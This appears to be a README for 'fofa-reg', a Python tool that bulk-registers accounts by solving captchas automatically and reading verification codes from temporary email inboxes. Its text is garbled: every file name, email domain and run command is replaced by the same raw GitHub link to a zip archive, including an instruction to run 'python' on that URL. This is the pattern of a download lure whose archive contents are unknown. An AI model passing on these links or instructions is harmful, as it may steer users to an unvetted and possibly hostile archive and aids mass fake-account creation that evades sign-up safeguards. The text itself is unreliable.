This is an automation script designed to simplify the process of account registration.
- β Automatic Captcha Recognition: Uses DdddOcr for image captcha solving.
- β Email Verification: Automatically retrieves verification codes using temporary email services.
- β Bulk Registration: Allows registration of multiple accounts at once.
- β Smart Retry: Automatically retries up to 5 times if the captcha fails.
- β Notification Service: Integrates a notification system to send success/failure messages.
- β
Account Logging: Automatically saves successfully registered accounts in
https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip.
- Requires Python 3.6 or newer.
To install required libraries, run the following commands in your terminal:
pip install curl-cffi
pip install ddddocrhttps://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip: This module is optional and can send notifications upon successful registration.
Modify the mm list at the top of the script to set the temporary email domains you will use:
mm = ['https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip', 'https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip', 'https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip', 'https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip']Set the default_password variable to define your password strategy:
default_password = '' # Leave blank for a random passwordTwo Modes:
- Fixed Password: Assign a specific value, e.g.,
default_password = 'MyPassword123'for all accounts. - Random Password: Leave
default_password = ''to generate random passwords for each account.
Random Password Rules:
- Length: 12 characters
- Contains upper and lower case letters and numbers
- Example:
Kp7mXn2aQ4bR
If you need to update User-Agent or other HTTP headers, change the headers dictionary accordingly.
If you include a https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip file in the project directory, the script loads it automatically to send notifications upon successful account registration.
To register a specific number of accounts, use this command:
python https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip 5This registers 5 accounts.
Alternatively, run the script and follow interactive prompts to enter the number of accounts and other details.
You can download the latest version of fofa-reg from the Releases page. Follow the link below to access the downloads:
After downloading, extract the files and navigate to the extracted directory using your terminal. You can now configure the script as needed and start your registration process by following the usage instructions above.
Feel free to explore and enjoy simplifying your account registrations with fofa-reg!